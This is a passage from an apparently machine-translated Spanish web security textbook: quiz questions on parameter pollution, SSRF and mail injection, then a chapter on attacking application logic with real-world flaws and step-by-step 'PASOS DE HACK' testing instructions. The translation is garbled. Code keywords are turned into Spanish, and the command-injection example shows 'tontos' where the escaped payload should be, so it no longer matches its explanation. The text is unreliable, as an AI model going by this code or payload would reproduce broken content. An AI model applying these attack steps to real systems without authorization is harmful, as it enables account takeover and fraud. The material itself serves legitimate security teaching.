La aplicación ejecuta el siguiente código:
String param = Request.Params[“p”];
¿Qué valor tiene la variable param ?
5. ¿Es HPP un requisito previo para HPI o viceversa?

6. Una aplicación contiene una función que envía solicitudes a dominios externos y
devuelve las respuestas de esas solicitudes. Para evitar que los ataques de
redirección del lado del servidor recuperen recursos protegidos en el propio
servidor web de la aplicación, la aplicación bloquea las solicitudes dirigidas a localhost o
127.0.0.1. ¿Cómo podría eludir esta defensa para acceder a los recursos
del servidor?
7. Una aplicación contiene una función para comentarios de los usuarios. Esto permite al usuario
proporcionar su dirección de correo electrónico, un asunto del mensaje y comentarios detallados.
La aplicación envía un correo electrónico a [email protected], dirigido desde la
dirección de correo electrónico del usuario, con la línea de asunto y los comentarios
proporcionados por el usuario en el cuerpo del mensaje. ¿Cuál de las siguientes es una
defensa válida contra los ataques de inyección de correo?
(a) Deshabilite la retransmisión de correo en el servidor
de correo. (b) Codifique el campo RCPT TO con [email protected]. (c)
Valide que las entradas proporcionadas por el usuario no contengan líneas nuevas u otros
metacaracteres SMTP.
CAPÍTULO R
11
Atacando la lógica de la aplicación
Todas las aplicaciones web emplean la lógica para ofrecer su funcionalidad. Escribir
código en un lenguaje de programación implica en su raíz nada más que dividir un
proceso complejo en pasos lógicos simples y discretos. Traducir una parte de la
funcionalidad que es significativa para los seres humanos en una secuencia de
pequeñas operaciones que puede ejecutar una computadora requiere mucha
habilidad y discreción. Hacerlo de manera elegante y segura es aún más difícil.
Cuando un gran número de diferentes diseñadores y programadores trabajan en
paralelo en la misma aplicación, existe una gran posibilidad de que ocurran errores.
En todas las aplicaciones web, excepto en las más simples, se ejecuta una gran cantidad
de lógica en cada etapa. Esta lógica presenta una intrincada superficie de ataque que
siempre está presente pero que a menudo se pasa por alto. Muchas revisiones de código y
pruebas de penetración se enfocan exclusivamente en las vulnerabilidades "titulares"
comunes, como la inyección de SQL y las secuencias de comandos entre sitios, porque
tienen una firma fácilmente reconocible y un vector de explotación bien investigado. Por el
contrario, las fallas en la lógica de una aplicación son más difíciles de caracterizar: cada
instancia puede parecer una ocurrencia única y, por lo general, no son identificadas por
ningún escáner de vulnerabilidad automatizado. Como resultado, generalmente no son tan
bien apreciados o entendidos y, por lo tanto, son de gran interés para un atacante.
Este capítulo describe los tipos de fallas lógicas que a menudo existen en las
aplicaciones web y los pasos prácticos que puede tomar para sondear y atacar la lógica
de una aplicación. Presentaremos una serie de ejemplos del mundo real, cada uno de
los cuales manifiesta un tipo diferente de defecto lógico. Juntos, ilustran la variedad de supuestos
405
406 Capítulo 11 n Ataque a la lógica de la aplicación
que hacen los diseñadores y desarrolladores que pueden conducir directamente a una lógica
defectuosa y exponer una aplicación a vulnerabilidades de seguridad.
La naturaleza de los defectos lógicos
Las fallas de lógica en las aplicaciones web son extremadamente variadas. Van desde
errores simples que se manifiestan en un puñado de líneas de código hasta vulnerabilidades
complejas que surgen de la interoperación de varios componentes centrales de la aplicación.
En algunos casos, pueden ser obvios y fáciles de detectar; en otros casos, pueden ser
excepcionalmente sutiles y susceptibles de eludir incluso la revisión de código o la prueba
de penetración más rigurosas.
A diferencia de otras fallas de codificación, como la inyección SQL o las secuencias de
comandos entre sitios, ninguna "firma" común está asociada con las fallas lógicas. La
característica definitoria, por supuesto, es que la lógica implementada dentro de la aplicación
es defectuosa de alguna manera. En muchos casos, el defecto se puede representar en
términos de una suposición específica que hizo el diseñador o desarrollador, ya sea explícita
o implícitamente, que resulta ser defectuosa. En términos generales, un programador puede
haber razonado algo así como "Si sucede A, entonces B debe ser el caso, así que haré C".
El programador no hizo la pregunta completamente diferente "¿Pero qué pasa si ocurre X?"
y por lo tanto no consideró un escenario que viola el supuesto. Dependiendo de las
circunstancias, esta suposición errónea puede abrir una vulnerabilidad de seguridad significativa.
A medida que ha aumentado la conciencia de las vulnerabilidades comunes de las
aplicaciones web en los últimos años, la incidencia y la gravedad de algunas categorías de
vulnerabilidades han disminuido notablemente. Sin embargo, debido a la naturaleza de las
fallas lógicas, es poco probable que alguna vez se eliminen a través de estándares para
desarrollo seguro, uso de herramientas de auditoría de código o pruebas de penetración
normales. La diversa naturaleza de las fallas lógicas, y el hecho de que detectarlas y
prevenirlas a menudo requiere una buena medida de pensamiento lateral, sugiere que
prevalecerán durante un buen tiempo. Cualquier atacante serio, por lo tanto, debe prestar
mucha atención a la lógica empleada en la aplicación a la que apunta para tratar de descubrir
las suposiciones que probablemente hicieron los diseñadores y desarrolladores. Luego debe
pensar imaginativamente sobre cómo se pueden violar esos supuestos.
Defectos lógicos del mundo real
La mejor manera de aprender sobre fallas lógicas no es teorizando, sino familiarizándose

con algunos ejemplos reales. Aunque las instancias individuales de fallas lógicas difieren
enormemente, comparten muchos temas comunes y demuestran los tipos de errores que
los desarrolladores humanos siempre serán propensos a cometer.
Capítulo 11 n Ataque a la lógica de la aplicación 407
Por lo tanto, los conocimientos obtenidos del estudio de una muestra de fallas lógicas deberían ayudarlo
a descubrir nuevas fallas en situaciones completamente diferentes.
Ejemplo 1: Preguntando al Oráculo

Los autores han encontrado instancias de la falla del “oráculo de cifrado” dentro de muchos
tipos diferentes de aplicaciones. Lo han usado en numerosos ataques, desde descifrar
credenciales de dominio en software de impresión hasta romper la computación en la nube.
El siguiente es un ejemplo clásico de la falla encontrada en un sitio de ventas de software.
La Funcionalidad
La aplicación implementó una función de "recuérdame" mediante la cual un usuario podía
evitar iniciar sesión en la aplicación en cada visita al permitir que la aplicación estableciera
una cookie permanente dentro del navegador. Esta cookie se protegió contra la
manipulación o la divulgación mediante un algoritmo de cifrado que se ejecutó sobre una
cadena compuesta por el nombre, la identificación del usuario y los datos volátiles para
garantizar que el valor resultante fuera único y no se pudiera predecir. Para asegurarse de
que un atacante que tuviera acceso a él no pudiera reproducirlo , también se recopilaron
datos específi cos de la máquina, incluida la dirección IP.
Esta cookie se consideró justificadamente una solución robusta para proteger una
pieza potencialmente vulnerable de la funcionalidad comercial requerida.
Además de una función de "recuérdame", la aplicación tenía la funcionalidad de
almacenar el nombre de pantalla del usuario dentro de una cookie llamada ScreenName.
De esa manera, el usuario podría recibir un saludo personalizado en la esquina del sitio la
próxima vez que visite el sitio. Al decidir que este nombre también era una pieza de
información de seguridad, se consideró que esto también debería estar encriptado.
La suposición
Los desarrolladores decidieron que debido a que la cookie ScreenName tenía un valor
considerablemente menor para un atacante que la cookie RememberMe , también podrían
usar el mismo algoritmo de cifrado para protegerla. Lo que no consideraron fue que un
usuario puede especificar su nombre de pantalla y verlo en pantalla. Esto inadvertidamente
les dio a los usuarios acceso a la función de cifrado (y la clave de cifrado) utilizada para
proteger el token de autenticación persistente RememberMe.
El ataque
En un ataque simple, un usuario suministró el valor cifrado de su cookie

RememberMe en lugar de la cookie ScreenName cifrada . Al mostrar el
nombre de la pantalla al usuario, la aplicación descifraría el valor, verifique que
el descifrado había funcionado, y luego imprima el resultado en la pantalla. Esto resultó

en el siguiente mensaje:
Bienvenido, marcus|734|192.168.4.282750184
Aunque esto era interesante, no era necesariamente un problema de alto riesgo. Simplemente
significaba que dada una cookie encriptada de RememberMe , un atacante podría enumerar el
contenido, incluido un nombre de usuario, una identificación de usuario y una dirección IP.
Debido a que no se almacenó ninguna contraseña en la cookie, no hubo forma inmediata de
actuar sobre la información obtenida.
El problema real surgió del hecho de que los usuarios podían especificar sus nombres de pantalla.
Como resultado, un usuario podría elegir este nombre de pantalla, por ejemplo:
administrador|1|192.168.4.282750184
Cuando el usuario cierra sesión y vuelve a iniciar sesión, la aplicación cifra este valor y lo
almacena en el navegador del usuario como la cookie de nombre de pantalla cifrada .
Si un atacante envió este token encriptado como el valor de la cookie RememberMe , la aplicación
lo descifró, leyó la ID de usuario e ingresó al atacante como administrador. A pesar de que el
cifrado era Triple DES, utilizando una clave segura y protegida contra ataques de repetición, la
aplicación podría aprovecharse como un "oráculo de cifrado" para descifrar y cifrar valores
arbitrarios.
PASOS DE HACK
Manifestaciones de este tipo de vulnerabilidad se pueden encontrar en diversos lugares.

Los ejemplos incluyen tokens de recuperación de cuentas, acceso basado en
tokens a recursos autenticados y cualquier otro valor que se envíe al lado del
cliente que deba ser a prueba de manipulaciones o ilegible para el usuario.
1. Busque ubicaciones donde se utilice el cifrado (no hash) en la aplicación.
Determine las ubicaciones en las que la aplicación cifra o descifra los
valores proporcionados por un usuario e intente sustituir cualquier otro
valor cifrado que se encuentre dentro de la aplicación. Intente causar un
error dentro de la aplicación que revele el valor descifrado o donde el valor
descifrado se muestre deliberadamente en la pantalla.
2. Busque una vulnerabilidad de "revelación de Oracle" determinando
dónde se puede proporcionar un valor cifrado que resulte en la
visualización del valor descifrado correspondiente en la respuesta de la aplicación.
Determine si esto conduce a la divulgación de información confidencial,
como una contraseña o una tarjeta de crédito.
3. Busque una vulnerabilidad de "cifrado de Oracle" determinando dónde
proporcionar un valor de texto sin cifrar hace que la aplicación devuelva
un valor cifrado correspondiente. Determine dónde se puede abusar de
esto especificando valores arbitrarios o cargas útiles maliciosas que procesará la aplicación.
Ejemplo 2: engañar a una función de cambio de contraseña

Los autores han encontrado esta falla lógica en una aplicación web implementada
por una empresa de servicios financieros y también en la aplicación AOL AIM
Enterprise Gateway.
La Funcionalidad
La aplicación implementó una función de cambio de contraseña para los usuarios finales. Requería que
el usuario completara los campos para el nombre de usuario, la contraseña existente, la nueva
contraseña y la confirmación de la nueva contraseña.
También había una función de cambio de contraseña para uso de los administradores.
Esto les permitió cambiar la contraseña de cualquier usuario sin proporcionar la contraseña
existente. Las dos funciones se implementaron dentro del mismo script del lado del servidor.
La suposición
La interfaz del lado del cliente presentada a los usuarios y administradores difería en un
aspecto: la interfaz del administrador no contenía un campo para la contraseña existente.
Cuando la aplicación del lado del servidor procesaba una solicitud de cambio de contraseña,
usaba la presencia o ausencia del parámetro de contraseña existente para indicar si la
solicitud era de un administrador o de un usuario normal. En otras palabras, asumió que
los usuarios comunes siempre proporcionarían un parámetro de contraseña existente.
El código responsable se veía así:
Cadena contraseña existente = request.getParameter ("contraseña existente"); if (null == contraseña existente) {
trace ("No se proporcionó la contraseña anterior, debe ser un administrador");

devolver verdadero;
}
más
{
trace(“Verificando la contraseña anterior del usuario”);
...
El ataque
Cuando la suposición se establece explícitamente de esta manera, la falla lógica se vuelve

obvia. Por supuesto, un usuario común podría emitir una solicitud que no contuviera un
parámetro de contraseña existente, porque los usuarios controlaban todos los aspectos de
las solicitudes que emitían.
410 Capítulo 11 n Atacar la lógica de la aplicación
Esta falla lógica fue devastadora para la aplicación. Permitió a un atacante restablecer la
contraseña de cualquier otro usuario y tomar el control total de la cuenta de esa persona.
PASOS DE HACK
1. Al probar la funcionalidad clave en busca de fallas lógicas, intente eliminar a su vez cada
parámetro enviado en las solicitudes, incluidas las cookies, los campos de cadena de
consulta y los elementos de los datos POST.
2. Asegúrese de eliminar el nombre real del parámetro así como su valor.

No envíe simplemente una cadena vacía, porque normalmente el servidor maneja esto
de manera diferente.
3. Ataque solo un parámetro a la vez para garantizar que se alcancen todas las rutas de código
relevantes dentro de la aplicación.
4. Si la solicitud que está manipulando es parte de un proceso de varias etapas, siga el

proceso hasta su finalización, ya que alguna lógica posterior puede procesar datos que
se proporcionaron en pasos anteriores y se almacenaron dentro de la sesión.
Ejemplo 3: Proceder al pago

Los autores encontraron esta falla lógica en la aplicación web empleada por un minorista en
línea.
La Funcionalidad
El proceso de realización de un pedido constaba de las siguientes etapas:
1. Explore el catálogo de productos y agregue artículos a la cesta de la compra.

2. Vuelve a la cesta de la compra y finaliza el pedido.
3. Ingrese la información de pago.
4. Ingrese la información de entrega.
La suposición
Los desarrolladores asumieron que los usuarios siempre accederían a las etapas en la
secuencia prevista , porque este era el orden en el que las etapas se entregan al usuario
mediante los enlaces de navegación y los formularios presentados en el navegador del
usuario. Por lo tanto, cualquier usuario que haya completado el proceso de pedido debe haber
enviado detalles de pago satisfactorios en el camino.
El ataque
La suposición de los desarrolladores fue errónea por razones bastante obvias. Los usuarios
controlaban cada solicitud que hacían a la aplicación y por lo tanto podían acceder
cualquier etapa del proceso de pedido en cualquier secuencia. Al pasar directamente

de la etapa 2 a la etapa 4, un atacante podría generar un pedido que se finalizó para
la entrega pero que en realidad no se había pagado.
PASOS DE HACK
La técnica para encontrar y explotar fallas de este tipo se conoce como navegación
forzada. Implica eludir cualquier control impuesto por la navegación en el navegador
sobre la secuencia en la que se puede acceder a las funciones de la aplicación: 1.
Cuando un proceso de varias etapas implica una secuencia definida de solicitudes,
intente enviar estas solicitudes fuera de la secuencia esperada. Intente omitir
ciertas etapas, acceder a una sola etapa más de una vez y acceder a las etapas
anteriores después de las posteriores.
2. Se puede acceder a la secuencia de etapas a través de una serie de GET o POST
solicitudes de distintas URL, o pueden implicar el envío de diferentes conjuntos
de parámetros a la misma URL. La etapa que se solicita se puede especificar
enviando un nombre de función o índice dentro de un parámetro de solicitud.
Asegúrese de comprender completamente los mecanismos que emplea la
aplicación para brindar acceso a distintas etapas.
3. Desde el contexto de la funcionalidad que se implementa, intente comprender
qué suposiciones pueden haber hecho los desarrolladores y dónde se
encuentra la superficie de ataque clave. Trate de identificar formas de violar esas
suposiciones para causar un comportamiento no deseado dentro de la aplicación.
4. Cuando se accede a funciones de múltiples etapas fuera de secuencia, es
común encontrar una variedad de condiciones anómalas dentro de la
aplicación, como variables con valores nulos o no inicializados, un estado
parcialmente definido o inconsistente y otro comportamiento impredecible. En
esta situación, la aplicación puede devolver un mensaje de error interesante y
una salida de depuración, que puede usar para comprender mejor su
funcionamiento interno y, por lo tanto, ajustar el ataque actual o uno diferente
(consulte el Capítulo 15). A veces, la aplicación puede entrar en un estado
totalmente imprevisto para los desarrolladores, lo que puede dar lugar a graves fallos de seguridad.
NOTA Muchos tipos de vulnerabilidades de control de acceso son de naturaleza similar

a esta falla lógica. Cuando una función privilegiada involucra múltiples etapas a las que
normalmente se accede en una secuencia definida, la aplicación puede suponer que los
usuarios siempre procederán a través de la funcionalidad en esta secuencia. La
aplicación puede imponer un control de acceso estricto en las etapas iniciales del
proceso y suponer que cualquier usuario que llegue a las etapas posteriores debe estar
autorizado. Si un usuario con privilegios bajos pasa directamente a una etapa posterior,
es posible que pueda acceder a ella sin restricciones. Consulte el Capítulo 8 para
obtener más detalles sobre cómo encontrar y explotar vulnerabilidades de este tipo.
Ejemplo 4: Rolling Your Own Insurance

Los autores encontraron esta falla lógica en una aplicación web implementada por una
empresa de servicios financieros.
La Funcionalidad
La aplicación permitía a los usuarios obtener cotizaciones de seguros y, si lo deseaban,
completar y enviar una solicitud de seguro en línea. El proceso se dividió en una docena de
etapas:
n En la primera etapa, el solicitante presentó cierta información básica y

especificó una prima mensual preferida o el valor por el que quería el
seguro. La aplicación ofreció una cotización, calculando el valor que el
solicitante no especificó. n A lo largo de varias etapas, el solicitante
suministró varios otros datos personales,
incluyendo salud, ocupación y pasatiempos.
n Finalmente, la solicitud se transmitió a un suscriptor que trabajaba para la compañía de
seguros. Utilizando la misma aplicación web, el suscriptor revisó los detalles y decidió
si aceptaba la solicitud tal cual o modificaba la cotización inicial para reflejar cualquier
riesgo adicional.
A través de cada una de las etapas descritas, la aplicación empleó un componente

compartido para procesar cada parámetro de los datos de usuario que se le enviaron. Este
componente analizó todos los datos en cada solicitud POST en pares de nombre/valor y
actualizó su información de estado con cada elemento de datos recibido.
La suposición
El componente que procesaba los datos proporcionados por el usuario asumía que cada
solicitud contendría solo los parámetros que se habían solicitado al usuario en el formulario
HTML correspondiente. Los desarrolladores no consideraron lo que sucedería si un usuario
enviara parámetros que no se le pidieron que proporcionara.
El ataque
Por supuesto, la suposición era errónea, porque los usuarios podían enviar nombres y valores
de parámetros arbitrarios con cada solicitud. Como resultado, la funcionalidad central de la
aplicación se rompió de varias maneras:
n Un atacante podría explotar el componente compartido para eludir toda la validación de
entrada del lado del servidor. En cada etapa del proceso de cotización, la aplicación
realizó una validación estricta de los datos esperados en esa etapa y rechazó cualquier
dato que no pasara esta validación. Pero el componente compartido se actualizó.
el estado de la aplicación con todos los parámetros proporcionados por el usuario.

Por lo tanto, si un atacante envió datos fuera de secuencia al proporcionar un par
de nombre/valor que la aplicación esperaba en una etapa anterior, esos datos
serían aceptados y procesados, sin que se haya realizado ninguna validación.
Tal como sucedió, esta posibilidad allanó el camino para un ataque de secuencias
de comandos entre sitios almacenados dirigido al suscriptor, lo que permitió a un
usuario malintencionado acceder a la información personal de otros solicitantes
(consulte el Capítulo 12). n Un atacante podría comprar un seguro a un precio
arbitrario. En la primera etapa del proceso de cotización, la solicitante especificó
su prima mensual preferida o el valor que deseaba asegurar, y la solicitud calculó
el otro elemento en consecuencia. Sin embargo, si un usuario proporcionaba
nuevos valores para uno o ambos elementos en una etapa posterior, el estado de
la aplicación se actualizaba con estos valores. Al enviar estos parámetros fuera
de secuencia, un atacante podría obtener una cotización de seguro a un valor
arbitrario y una prima mensual arbitraria.
n No había controles de acceso sobre qué parámetros podía suministrar un
determinado tipo de usuario. Cuando un suscriptor revisó una solicitud completa ,
actualizó varios elementos de datos, incluida la decisión de aceptación.
Estos datos fueron procesados por el componente compartido de la misma
manera que los datos proporcionados por un usuario normal. Si un atacante
supiera o adivinara los nombres de los parámetros utilizados cuando el suscriptor
revisó una solicitud, el atacante podría simplemente enviarlos, aceptando así su
propia solicitud sin ninguna suscripción real.
PASOS DE HACK
Las fallas en esta aplicación eran fundamentales para su seguridad, pero

ninguna de ellas habría sido identificada por un atacante que simplemente
interceptó las solicitudes del navegador y modificó los valores de los parámetros enviados.
1. Siempre que una aplicación implemente una acción clave en varias etapas,
debe tomar los parámetros que se envían en una etapa del proceso e
intentar enviarlos a una etapa diferente. Si los elementos de datos
relevantes se actualizan dentro del estado de la aplicación, debe explorar
las ramificaciones de este comportamiento para determinar si puede
aprovecharlo para llevar a cabo alguna acción maliciosa, como en los tres ejemplos anteriores.
2. Si la aplicación implementa una funcionalidad mediante la cual diferentes
categorías de usuarios pueden actualizar o realizar otras acciones en
una recopilación común de datos, debe recorrer el proceso con cada
tipo de usuario y observar los parámetros enviados. Cuando los
diferentes usuarios normalmente envían diferentes parámetros, tome
cada parámetro enviado por un usuario e intente enviarlo como el otro
usuario. Si el parámetro se acepta y procesa como ese usuario, explore
las implicaciones de este comportamiento como se describió anteriormente.
Ejemplo 5: romper el banco

Los autores encontraron esta falla lógica en la aplicación web implementada por una
importante empresa de servicios financieros.
La Funcionalidad
La aplicación permitió que los clientes existentes que aún no usaban la aplicación en línea se
registraran para hacerlo. Los nuevos usuarios debían proporcionar cierta información personal
básica para proporcionar un grado de seguridad de su identidad. Esta información incluía el
nombre, la dirección y la fecha de nacimiento, pero no incluía ningún secreto, como una
contraseña o PIN existente.
Cuando esta información se había ingresado correctamente, la aplicación reenviaba la solicitud
de registro a los sistemas de back-end para su procesamiento. Se envió un paquete de información
a la dirección de domicilio registrada del usuario. Este paquete incluía instrucciones para activar
su acceso en línea a través de una llamada telefónica al centro de llamadas de la empresa y
también una contraseña de un solo uso para usar al iniciar sesión por primera vez en la aplicación.
La suposición
Los diseñadores de la aplicación creían que este mecanismo brindaba una sólida defensa contra
el acceso no autorizado a la aplicación. El mecanismo implementó tres capas de protección:
n Se requería una pequeña cantidad de datos personales por adelantado para disuadir a un
atacante malicioso oa un usuario travieso de intentar iniciar el proceso de registro en
nombre de otros usuarios. n El proceso implicó la transmisión de una clave secreta fuera
de banda a la dirección de domicilio registrada del cliente. Un atacante necesitaría tener

acceso al correo personal de la víctima.
n El cliente debía llamar por teléfono al centro de llamadas y autenticarse allí de la forma
habitual, en función de la información personal y los dígitos seleccionados de un PIN.
Este diseño era de hecho robusto. La falla lógica residía en la implementación de

el mecanismo.
Los desarrolladores que implementaron el mecanismo de registro necesitaban una forma de
almacenar los datos personales enviados por el usuario y correlacionarlos con una identidad de
cliente única dentro de la base de datos de la empresa. Deseosos de reutilizar el código existente,
se encontraron con la siguiente clase, que parecía cumplir sus propósitos:
clase CCliente
{
Cadena nombre;
Cadena apellido;
dob CDoB;
CAdirección dirección de casa;
numerocliente largo;
...
Después de que se capturó la información del usuario, se creó una instancia de

este objeto, se completó con la información suministrada y se almacenó en la sesión
del usuario. Luego, la aplicación verificaba los detalles del usuario y, si eran válidos,
recuperaba el número de cliente único de ese usuario, que se usaba en todos los
sistemas de la empresa. Este número se agregó al objeto, junto con otra información
útil sobre el usuario. A continuación, el objeto se transmitía al sistema back-end
correspondiente para que se procesara la solicitud de registro.
Los desarrolladores asumieron que el uso de este componente de código era inofensivo
y no generaría un problema de seguridad. Sin embargo, la suposición fue errónea, con
graves consecuencias.
El ataque
El mismo componente de código que se incorporó a la funcionalidad de registro también

se usó en otras partes de la aplicación, incluso dentro de la funcionalidad principal. Esto
dio a los usuarios autenticados acceso a los detalles de la cuenta, extractos, transferencias
de fondos y otra información. Cuando un usuario registrado se autenticaba con éxito en
la aplicación, se creaba una instancia de este mismo objeto y se guardaba en su sesión
para almacenar información clave sobre su identidad. La mayoría de la funcionalidad
dentro de la aplicación hacía referencia a la información dentro de este objeto para llevar
a cabo sus acciones. Por ejemplo, los detalles de la cuenta presentados al usuario en su
página principal se generaron sobre la base del número de cliente único contenido en
este objeto.
La forma en que el componente de código ya se estaba empleando dentro de la
aplicación significó que la suposición de los desarrolladores era errónea, y la forma en
que lo reutilizaron abrió una vulnerabilidad significativa.
Aunque la vulnerabilidad era grave, en realidad era relativamente sutil de detectar y
explotar. El acceso a la funcionalidad principal de la aplicación estaba protegido por
controles de acceso en varias capas, y un usuario necesitaba tener una sesión
completamente autenticada para pasar estos controles. Por lo tanto, para explotar la falla
lógica, un atacante necesitaba seguir estos pasos:
n Inicie sesión en la aplicación utilizando sus propias credenciales de cuenta

válidas. n Utilizando la sesión autenticada resultante, acceda a la función de registro
y envíe la información personal de un cliente diferente. Esto provocó que la
aplicación sobrescribiera el objeto CCustomer original en la sesión del atacante
con un nuevo objeto relacionado con el cliente objetivo.
n Vuelva a la funcionalidad principal de la aplicación y acceda a la cuenta del otro
cliente.
Una vulnerabilidad de este tipo no es fácil de detectar cuando se prueba la aplicación

desde una perspectiva de caja negra. Sin embargo, también es difícil de identificar al revisar
o escribir el código fuente real. Sin una comprensión clara de la aplicación como un todo y
cómo se utilizan los diferentes componentes en diferentes áreas, la suposición errónea
hecha por los desarrolladores puede no ser evidente. Por supuesto, el código fuente y la
documentación de diseño claramente comentados reducirían la probabilidad de que dicho
defecto se introduzca o no se detecte.
PASOS DE HACK
1. En una solicitud compleja que involucre privilegios horizontales o verticales

segregación, trate de localizar instancias en las que un usuario individual pueda
acumular una cantidad de estado dentro de su sesión que se relacione de alguna
manera con su identidad.
2. Intente pasar por un área de funcionalidad y luego cambie a un área no relacionada
para determinar si la información de estado acumulada tiene un efecto en el
comportamiento de la aplicación.
Ejemplo 6: superando un límite comercial

Los autores encontraron esta falla lógica en una aplicación de planificación de recursos
empresariales basada en la web utilizada en una empresa de fabricación.
La Funcionalidad
El personal de finanzas podría realizar transferencias de fondos entre varias cuentas
bancarias propiedad de la empresa y sus principales clientes y proveedores. Como
precaución contra el fraude, la aplicación impidió que la mayoría de los usuarios procesaran
transferencias con un valor superior a $10,000. Cualquier transferencia mayor que esta
requería la aprobación de un alto directivo.
La suposición
El código responsable de implementar esta verificación dentro de la aplicación era simple:
bool CAuthCheck::RequiereAprobación(cantidad int) {
si (cantidad <= m_apprThreshold) devuelve falso;
de lo contrario, devuelve verdadero;
}
Los desarrolladores asumieron que este control transparente era a prueba de

balas. Ninguna transacción por una cantidad superior al umbral configurado podría
escapar al requisito de aprobación secundaria.
El ataque
La suposición de los desarrolladores fue errónea porque pasaron por alto la posibilidad
de que un usuario intentara procesar una transferencia por un monto negativo. Cualquier
número negativo eliminaría la prueba de aprobación, porque es menor que el umbral.
Sin embargo, el módulo bancario de la aplicación aceptaba transferencias negativas y
simplemente las procesaba como transferencias positivas en sentido contrario. Por lo
tanto, cualquier usuario que quisiera transferir $20 000 de la cuenta A a la cuenta B
simplemente podía iniciar una transferencia de –$20 000 de la cuenta B a la cuenta A,
que tenía el mismo efecto y no requería aprobación. ¡Las defensas antifraude integradas
en la aplicación se pueden eludir fácilmente!
NOTA Muchos tipos de aplicaciones web emplean límites numéricos dentro

de su lógica comercial:
n Una aplicación de venta minorista puede evitar que un usuario ordene más
unidades que las disponibles en stock.
n Una aplicación bancaria puede impedir que un usuario realice pagos de facturas
que excedan el saldo de su cuenta corriente.
n Una aplicación de seguro puede ajustar sus cotizaciones según los umbrales de edad.
Encontrar una manera de superar tales límites a menudo no representa un

compromiso de seguridad de la aplicación en sí. Sin embargo, puede tener graves
consecuencias comerciales y representar una violación de los controles que el
propietario confía en la aplicación para hacer cumplir.
Las vulnerabilidades más obvias de este tipo a menudo se detectan durante la
prueba de aceptación del usuario que normalmente ocurre antes de que se inicie
una aplicación. Sin embargo, pueden permanecer manifestaciones más sutiles del
problema, particularmente cuando se manipulan parámetros ocultos.
PASOS DE HACK
El primer paso para intentar superar un límite comercial es comprender qué

caracteres se aceptan dentro de la entrada relevante que controla.
1. Intente ingresar valores negativos y vea si la aplicación los acepta y los procesa de
la manera esperada.
2. Es posible que deba realizar varios pasos para diseñar un cambio en el estado de
la aplicación que pueda aprovecharse para un propósito útil. Por ejemplo, pueden
ser necesarias varias transferencias entre cuentas hasta que se acumule un saldo
adecuado que realmente pueda extraerse.
Ejemplo 7: hacer trampa en los descuentos por volumen
Los autores encontraron esta falla lógica en la aplicación minorista de un proveedor de

software.
La Funcionalidad
La aplicación permitía a los usuarios pedir productos de software y calificar para descuentos
por volumen si se compraba un paquete adecuado de artículos. Por ejemplo, los usuarios
que compraron una solución antivirus, un firewall personal y un software antispam tenían
derecho a un descuento del 25 % sobre los precios individuales.
La suposición
Cuando un usuario añadía un artículo de software a su cesta de la compra, la aplicación
utilizaba varias reglas para determinar si el paquete de compras que había elegido le daba
derecho a un descuento. De ser así, los precios de los artículos relevantes dentro de la
cesta de la compra se ajustaron de acuerdo con el descuento. Los desarrolladores asumieron
que el usuario compraría el paquete elegido y, por lo tanto, tendría derecho al descuento.
El ataque
La suposición de los desarrolladores obviamente es errónea porque ignora el hecho de que

los usuarios pueden eliminar elementos de sus cestas de la compra después de haberlos
agregado. Un usuario astuto podría agregar a su cesta grandes cantidades de cada uno de
los productos a la venta del vendedor para atraer los máximos descuentos por volumen
posibles . Después de aplicar los descuentos a los artículos de su cesta de la compra, podía
eliminar los artículos que no deseaba y seguir recibiendo los descuentos aplicados a los
productos restantes.
PASOS DE HACK
1. En cualquier situación en la que los precios u otros valores sensibles se ajusten en

función de criterios determinados por datos o acciones controlables por el
usuario, primero comprenda los algoritmos que utiliza la aplicación y el punto
dentro de su lógica donde se realizan los ajustes. Identifique si estos ajustes se
realizan una sola vez o si se revisan en respuesta a otras acciones realizadas por
el usuario.
2. Piense con imaginación. Intente encontrar una forma de manipular el

comportamiento de la aplicación para que llegue a un estado en el que los
ajustes que ha aplicado no se correspondan con los criterios originales
previstos por sus diseñadores. En el caso más obvio, como se acaba de
describir, esto puede implicar simplemente eliminar artículos de un carrito de compras después de que se haya
Ejemplo 8: Escapar de Escapar

Los autores encontraron esta falla lógica en varias aplicaciones web, incluida la interfaz de
administración web utilizada por un producto de detección de intrusos en la red.
La Funcionalidad
Los diseñadores de la aplicación habían decidido implementar alguna funcionalidad que implicaba
pasar una entrada controlable por el usuario como argumento a un comando del sistema operativo.
Los desarrolladores de la aplicación entendieron los riesgos inherentes involucrados en este tipo
de operación (consulte el Capítulo 9) y decidieron defenderse de estos riesgos desinfectando
cualquier carácter potencialmente malicioso dentro de la entrada del usuario.
Cualquier instancia de lo siguiente se escaparía usando el carácter de barra invertida:
;|&<>' espacio y nueva línea
Escapar datos de esta manera hace que el intérprete de comandos de shell trate los caracteres
relevantes como parte del argumento que se pasa al comando invocado, en lugar de como
metacaracteres de shell. Dichos metacaracteres podrían usarse para inyectar comandos o
argumentos adicionales, redirigir la salida, etc.
La suposición
Los desarrolladores estaban seguros de que habían ideado una sólida defensa contra los ataques
de inyección de comandos. Habían hecho una lluvia de ideas sobre todos los personajes posibles
que podrían ayudar a un atacante y se habían asegurado de que todos escaparan correctamente
y, por lo tanto, estuvieran a salvo.
El ataque
Los desarrolladores se olvidaron de escapar del carácter de escape en sí.

El carácter de barra invertida generalmente no es de uso directo para un atacante cuando se
aprovecha de una simple falla de inyección de comando. Por lo tanto, los desarrolladores no lo
identificaron como potencialmente malicioso. Sin embargo, al no poder escapar de él, proporcionaron
un medio para que el atacante derrotara su mecanismo de desinfección.
Supongamos que un atacante proporciona la siguiente entrada a la función vulnerable:
tontos
La aplicación aplica el escape correspondiente, como se ha descrito anteriormente, por lo que el
la entrada del atacante se convierte en:
tontos
Cuando estos datos se pasan como argumento al comando del sistema operativo, el intérprete
de shell trata la primera barra invertida como el carácter de escape. Por lo tanto, trata la segunda
barra invertida como una barra invertida literal, no como un carácter de escape, sino como parte
del argumento en sí. Luego encuentra un punto y coma que aparentemente no tiene escape. Trata
esto como un separador de comandos y, por lo tanto, ejecuta el comando inyectado proporcionado
por el atacante.
PASOS DE HACK
Cada vez que pruebe una aplicación para la inyección de comandos y otras fallas,
después de haber intentado insertar los metacaracteres relevantes en los datos que
controla, siempre intente colocar una barra invertida inmediatamente antes de cada
carácter para probar la falla lógica que se acaba de describir.
NOTA Esta misma falla se puede encontrar en algunas defensas contra los
ataques de secuencias de comandos entre sitios (consulte el Capítulo 12). Cuando la
entrada proporcionada por el usuario se copia directamente en el valor de una variable
de cadena en una pieza de JavaScript, este valor se encapsula entre comillas. Para
defenderse de las secuencias de comandos entre sitios, muchas aplicaciones utilizan
barras invertidas para escapar de las comillas que aparecen en la entrada del usuario.
